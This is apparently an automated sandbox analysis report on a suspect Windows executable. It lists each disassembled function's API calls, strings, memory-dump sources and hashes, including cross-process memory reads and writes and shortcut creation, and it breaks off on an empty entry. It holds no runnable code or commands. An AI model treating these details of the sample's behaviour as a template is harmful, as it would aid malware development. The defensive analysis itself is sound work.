Opcode ID: 1a45cf92129153ca252a05805c4e6844965f223294b7b37420e8a31bb93ef5ed
Instruction ID: 4ad3cdc86a9887b93f5af921a6a7a87984cea258e65c37ce773a4eb29b18ef2c
Opcode Fuzzy Hash: 1a45cf92129153ca252a05805c4e6844965f223294b7b37420e8a31bb93ef5ed
Instruction Fuzzy Hash: 04018476601308BBDB115F64DC44BAA7BBDEF45761F140064FD0DE6220D771DD81ABA0

Function 00F25244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F25260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00F2526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F25276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00F25280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F252BC

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 740e5b23552c91d390f5d20ae71fa00da4206d234ecf0d06bfbeae565bb546ed
Instruction ID: 369211302a5c80c0e815073b0bfa57866df7f7c0a2996158f59d96be9ffdedec
Opcode Fuzzy Hash: 740e5b23552c91d390f5d20ae71fa00da4206d234ecf0d06bfbeae565bb546ed
Instruction Fuzzy Hash: 38016935D02A2DDBCF00EFE4EC48AEDBBB8FB4AB11F410056E945B21C0CB709554A7A1

Function 00F1810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00F18121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00F1812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F1813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00F18141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F18157

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: b981cd928eb4e51bd09ae8b94f1b39bdad5028509791075ead51822577222cc2
Instruction ID: 4bfbb23159fd1186a6c7d21d589542c1359cbe1392e5ba74336a3edf2d3dddef
Opcode Fuzzy Hash: b981cd928eb4e51bd09ae8b94f1b39bdad5028509791075ead51822577222cc2
Instruction Fuzzy Hash: ABF06875640308BFE7110FA5DCC8EA73BADFF867A4B100025F949D6150CBA19D46EA60

Function 00F1C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00F1C1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 00F1C20E
MessageBeep.USER32(00000000), ref: 00F1C226
KillTimer.USER32(?,0000040A), ref: 00F1C242
EndDialog.USER32(?,00000001), ref: 00F1C25C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 8e72dd86ad2a5f4a0dbc58a88b4eadceb46b1ef17892cb9b246e2f052e52034c
Instruction ID: 2de4a4b6a298467f25b857f915e78a5b823cb87095f31b20cb9095319c8b5919
Opcode Fuzzy Hash: 8e72dd86ad2a5f4a0dbc58a88b4eadceb46b1ef17892cb9b246e2f052e52034c
Instruction Fuzzy Hash: A001DB348443089BEB205B54DD4EFD677B8FF11705F00026DF986A14E0D7F46988EB90

Function 00EC13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00EC13BF
StrokeAndFillPath.GDI32(?,?,00EFB888,00000000,?), ref: 00EC13DB
SelectObject.GDI32(?,00000000), ref: 00EC13EE
DeleteObject.GDI32 ref: 00EC1401
StrokePath.GDI32(?), ref: 00EC141C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 0acb7bad4349fbfa7ded16edbbaef8e9278289c8a51a5587f4de12821b3e9064
Instruction ID: 6cf033c407bdcc7f45f3bb1261d532ba6379e28306f1fc9aba7b77958fa16489
Opcode Fuzzy Hash: 0acb7bad4349fbfa7ded16edbbaef8e9278289c8a51a5587f4de12821b3e9064
Instruction Fuzzy Hash: C1F0313400474CDBDB155F1AED4CBA83FE4BB5272AF189269F829580F2C7314596EF10

Function 00F2C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00F2C432
CoCreateInstance.OLE32(00F52D6C,00000000,00000001,00F52BDC,?), ref: 00F2C44A

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

CoUninitialize.OLE32 ref: 00F2C6B7

Strings

.lnk, xrefs: 00F2C3C6, 00F2C3EE, 00F2C3F8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 88f3b07931c8702be36be92e954e2fedcaf66b8790467b26eaa1e43276619a20
Instruction ID: f149b3a5d5f269ee3eefcb58004220fe3db6530f8e706060a1c1147a27ff37a5
Opcode Fuzzy Hash: 88f3b07931c8702be36be92e954e2fedcaf66b8790467b26eaa1e43276619a20
Instruction Fuzzy Hash: EBA14B72104305AFD304EF54CD81EABB7E8EF99354F00491CF5959B1A2DB71E94ACB52

Function 00ED2CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00EE0DB6: std::exception::exception.LIBCMT ref: 00EE0DEC
Part of subcall function 00EE0DB6: __CxxThrowException@8.LIBCMT ref: 00EE0E01

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Part of subcall function 00EC7A51: _memmove.LIBCMT ref: 00EC7AAB

__swprintf.LIBCMT ref: 00ED2ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00ED2D66

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: f35055d4f01f284a09793b265f3f065fa65827fbbab49a54c581ee58ea38f7b8
Instruction ID: 31941132a8354b969b9551e6d375c8a5b97cbfee5e4e5ba2eac56696db2effaf
Opcode Fuzzy Hash: f35055d4f01f284a09793b265f3f065fa65827fbbab49a54c581ee58ea38f7b8
Instruction Fuzzy Hash: 75919DB21083019FCB14EF24C985D6EB7E4EF95310F00281EF991EB2A1EA71ED46DB52

Function 00F2B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00EC4743,?,?,00EC37AE,?), ref: 00EC4770

CoInitialize.OLE32(00000000), ref: 00F2B9BB
CoCreateInstance.OLE32(00F52D6C,00000000,00000001,00F52BDC,?), ref: 00F2B9D4
CoUninitialize.OLE32 ref: 00F2B9F1

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

Strings

.lnk, xrefs: 00F2B99D, 00F2B9AB

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 018f33359ce735a0e6cad5b52b78af2cd2026c4090079956a055797df862c9d9
Instruction ID: d9c0cd2c9321abfdff3c0dfe86d3ec8174effe5afc68cf8c42d335f9c13d33f7
Opcode Fuzzy Hash: 018f33359ce735a0e6cad5b52b78af2cd2026c4090079956a055797df862c9d9
Instruction Fuzzy Hash: F7A146756043159FCB04DF14C584E5ABBE5FF89324F148998F899AB3A2CB32EC46CB91

Function 00EE501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00EE50AD

Part of subcall function 00EF00F0: __87except.LIBCMT ref: 00EF012B

Strings

pow, xrefs: 00EE5085, 00EE50A2

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: b432bda8f5f495b9a5008c7b31ae86874376821c082a18946861df6288ee5181
Instruction ID: a35443c49facb7f6c45357636cf179c2242957a9481c8071b68e6afb2db10a27
Opcode Fuzzy Hash: b432bda8f5f495b9a5008c7b31ae86874376821c082a18946861df6288ee5181
Instruction Fuzzy Hash: 7951AE2290DA4D86DB11B715CC053BE3BD09B4070CF20AD99F5D5A62ABEF348DC4AA82

Function 00F08584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F0862B
_memmove.LIBCMT ref: 00F08685

Strings

_, xrefs: 00F086FF, 00F0DFDC, 00F0DFF8
3c, xrefs: 00F0860C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memmove
String ID: 3c$_
API String ID: 4104443479-4099079164
Opcode ID: dba90de6778877de7382e6e76754aadfa72123355a0c52a551756b4a732628ac
Instruction ID: 13a867c875d9460fde917a1daf7ae214d181e272f901c5175753d577eec243a1
Opcode Fuzzy Hash: dba90de6778877de7382e6e76754aadfa72123355a0c52a551756b4a732628ac
Instruction Fuzzy Hash: 99515170D00609DFCF24CF68C880AAEB7B1FF45354F14852AE85AE7390DB31A956EB51

Function 00F197F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F214BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00F19296,?,?,00000034,00000800,?,00000034), ref: 00F214E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00F1983F

Part of subcall function 00F21487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00F192C5,?,?,00000800,?,00001073,00000000,?,?), ref: 00F214B1

Part of subcall function 00F213DE: GetWindowThreadProcessId.USER32(?,?), ref: 00F21409
Part of subcall function 00F213DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00F1925A,00000034,?,?,00001004,00000000,00000000), ref: 00F21419
Part of subcall function 00F213DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00F1925A,00000034,?,?,00001004,00000000,00000000), ref: 00F2142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00F198AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00F198F9

Strings

@, xrefs: 00F19911

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: d04d7939cec15286619065e082a9a8e7f9fb217fb3be4dc0a9360004f4de93af
Instruction ID: ac7d9ddb01c64fde7deac72a0b2c67980329d240fb2e2240698245fd88d6e03e
Opcode Fuzzy Hash: d04d7939cec15286619065e082a9a8e7f9fb217fb3be4dc0a9360004f4de93af
Instruction Fuzzy Hash: 73414F76D0111CAECB10DFA4CC51ADEBBB8EB15310F004099F949B7141DA706E85DBA0

Function 00F47946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00F4F910,00000000,?,?,?,?), ref: 00F479DF
GetWindowLongW.USER32 ref: 00F479FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00F47A0C

Strings

SysTreeView32, xrefs: 00F479B1

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: d700c4459a882d0e4e571fe6a60ce84fd15d52eca2e5bd1d4ba6c512060a3504
Instruction ID: 518293c5c93e91565cec17ff7d444807fe9af948617db1895463c9d2a55e735a
Opcode Fuzzy Hash: d700c4459a882d0e4e571fe6a60ce84fd15d52eca2e5bd1d4ba6c512060a3504
Instruction Fuzzy Hash: 4631D03160420AABDB119E38CC45BEB7BA9EB05334F244729FC79A22E1D731ED51AB50

Function 00F473D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00F47461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00F47475
SendMessageW.USER32(?,00001002,00000000,?), ref: 00F47499

Strings

SysMonthCal32, xrefs: 00F4742C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: ed90e34ab160b9a26f48b989d32cb67637ba46e6c61e53447e5712f9c4b59690
Instruction ID: 1e61950539be86b32117018772fa450bf82aa7a05ecee413a97bc156bccc68a9
Opcode Fuzzy Hash: ed90e34ab160b9a26f48b989d32cb67637ba46e6c61e53447e5712f9c4b59690
Instruction Fuzzy Hash: 2D219F32500218ABDF11DE64CC46FEA3F69EB48724F110214FE196B1A0DBB5AC95EBA0

Function 00F47B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00F47C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00F47C58
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00F47C5F

Strings

msctls_updown32, xrefs: 00F47BC4

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 7d75a49a4a1144e3c6994dd0a60e5ef90e255e8fb07079eab0ee1646e55a0a4e
Instruction ID: 5c61ef474a1af78b6554f98a09770525224ee427b950442dc7d48049795e8902
Opcode Fuzzy Hash: 7d75a49a4a1144e3c6994dd0a60e5ef90e255e8fb07079eab0ee1646e55a0a4e
Instruction Fuzzy Hash: F0214FB5604208AFDB11EF24DCC1DB73BECEB5A764B140059FA159B3A1CB71EC11AB60

Function 00F46CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00F46D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00F46D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00F46D70

Strings

Listbox, xrefs: 00F46D08

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 6bc7f1d190a2c973c1eb4d4dd216bd539fcafe0b0553569cd2de69a31c016ce4
Instruction ID: 800e15b232e2be607ede44ba68195d9e2fbc3b7f74f39a6bd2f3ffa8027c918b
Opcode Fuzzy Hash: 6bc7f1d190a2c973c1eb4d4dd216bd539fcafe0b0553569cd2de69a31c016ce4
Instruction Fuzzy Hash: 9221A732A11118BFEF118F54DC85FBB3BBAEF8A764F018124FE459B190C6719C51A7A1

Function 00F4770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00F47772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00F47787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00F47794

Strings

msctls_trackbar32, xrefs: 00F47749

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 926b5e34026a2d618d4d3be0d30e950163524b1b1f13fc7c17a7b8c5c7e63724
Instruction ID: cd0b81b12b659657738579e02ec8db165c2e5f4cf255715f1d40de51be196564
Opcode Fuzzy Hash: 926b5e34026a2d618d4d3be0d30e950163524b1b1f13fc7c17a7b8c5c7e63724
Instruction Fuzzy Hash: 1F112772644308BBEF106F64CC01FEB7BA9EF89B64F014118FA45A2191C772E811EB10

Function 00EC4C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00EC4B83,?), ref: 00EC4C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00EC4C56

Strings

kernel32.dll, xrefs: 00EC4C3F
Wow64RevertWow64FsRedirection, xrefs: 00EC4C50

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: b3c834c27b74ae63152dc912af6090d1e8677c34cbd1a7a17ead6dc67b294a73
Instruction ID: 3a44667c45192b97c12c3f2bdc6d9999b5af740bcc720142e4d7b3e828ee45c8
Opcode Fuzzy Hash: b3c834c27b74ae63152dc912af6090d1e8677c34cbd1a7a17ead6dc67b294a73
Instruction Fuzzy Hash: 09D0C270900713CFD7204F31CA08B06B6D4AF02348B10C83ED899D61B0E670C480E611

Function 00EC4C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

